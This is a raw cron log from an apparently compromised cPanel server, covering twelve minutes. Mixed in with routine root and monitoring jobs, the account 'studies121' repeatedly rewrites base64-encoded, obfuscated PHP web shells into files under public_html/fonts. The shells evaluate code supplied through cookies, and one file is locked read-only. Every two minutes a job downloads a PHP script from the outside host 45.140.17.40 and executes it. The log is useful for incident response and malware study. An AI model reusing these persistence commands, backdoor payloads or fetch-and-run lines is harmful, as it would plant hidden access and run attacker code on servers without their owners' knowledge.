Sep 22 17:08:01 ip-184-168-122-23 CROND[12113]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:08:01 ip-184-168-122-23 CROND[12112]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:09:02 ip-184-168-122-23 CROND[12241]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:09:02 ip-184-168-122-23 CROND[12242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:09:02 ip-184-168-122-23 CROND[12243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:09:02 ip-184-168-122-23 CROND[12245]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 17:09:02 ip-184-168-122-23 CROND[12246]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:10:01 ip-184-168-122-23 CROND[12600]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:10:01 ip-184-168-122-23 CROND[12602]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 17:10:01 ip-184-168-122-23 CROND[12605]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:10:01 ip-184-168-122-23 CROND[12606]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:10:01 ip-184-168-122-23 CROND[12607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:10:01 ip-184-168-122-23 CROND[12608]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:10:01 ip-184-168-122-23 CROND[12614]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:10:01 ip-184-168-122-23 CROND[12610]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:11:01 ip-184-168-122-23 CROND[14017]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:11:01 ip-184-168-122-23 CROND[14018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:11:01 ip-184-168-122-23 CROND[14020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:11:01 ip-184-168-122-23 CROND[14021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:12:01 ip-184-168-122-23 CROND[15649]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:12:01 ip-184-168-122-23 CROND[15650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:12:01 ip-184-168-122-23 CROND[15654]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:12:01 ip-184-168-122-23 CROND[15657]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:12:01 ip-184-168-122-23 CROND[15660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:13:01 ip-184-168-122-23 CROND[16323]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:13:01 ip-184-168-122-23 CROND[16325]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:13:01 ip-184-168-122-23 CROND[16327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:13:01 ip-184-168-122-23 CROND[16328]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:14:01 ip-184-168-122-23 CROND[17102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:14:01 ip-184-168-122-23 CROND[17106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:14:01 ip-184-168-122-23 CROND[17103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:14:01 ip-184-168-122-23 CROND[17104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:14:01 ip-184-168-122-23 CROND[17105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:15:02 ip-184-168-122-23 CROND[18365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:15:02 ip-184-168-122-23 CROND[18366]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 17:15:02 ip-184-168-122-23 CROND[18367]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:15:02 ip-184-168-122-23 CROND[18372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:15:02 ip-184-168-122-23 CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 17:15:02 ip-184-168-122-23 CROND[18373]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:16:01 ip-184-168-122-23 CROND[19089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:16:01 ip-184-168-122-23 CROND[19091]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:16:01 ip-184-168-122-23 CROND[19090]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:16:01 ip-184-168-122-23 CROND[19096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:16:01 ip-184-168-122-23 CROND[19095]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 17:16:01 ip-184-168-122-23 CROND[19098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:17:01 ip-184-168-122-23 CROND[19877]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:17:01 ip-184-168-122-23 CROND[19878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:17:01 ip-184-168-122-23 CROND[19880]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:17:01 ip-184-168-122-23 CROND[19881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:18:01 ip-184-168-122-23 CROND[20619]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:18:01 ip-184-168-122-23 CROND[20622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:18:01 ip-184-168-122-23 CROND[20620]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 17:18:01 ip-184-168-122-23 CROND[20621]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:18:01 ip-184-168-122-23 CROND[20623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:19:01 ip-184-168-122-23 CROND[21636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 17:19:01 ip-184-168-122-23 CROND[21637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:19:01 ip-184-168-122-23 CROND[21639]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:19:01 ip-184-168-122-23 CROND[21638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:20:01 ip-184-168-122-23 CROND[22776]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 17:20:01 ip-184-168-122-23 CROND[22781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22783]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 17:20:01 ip-184-168-122-23 CROND[22784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
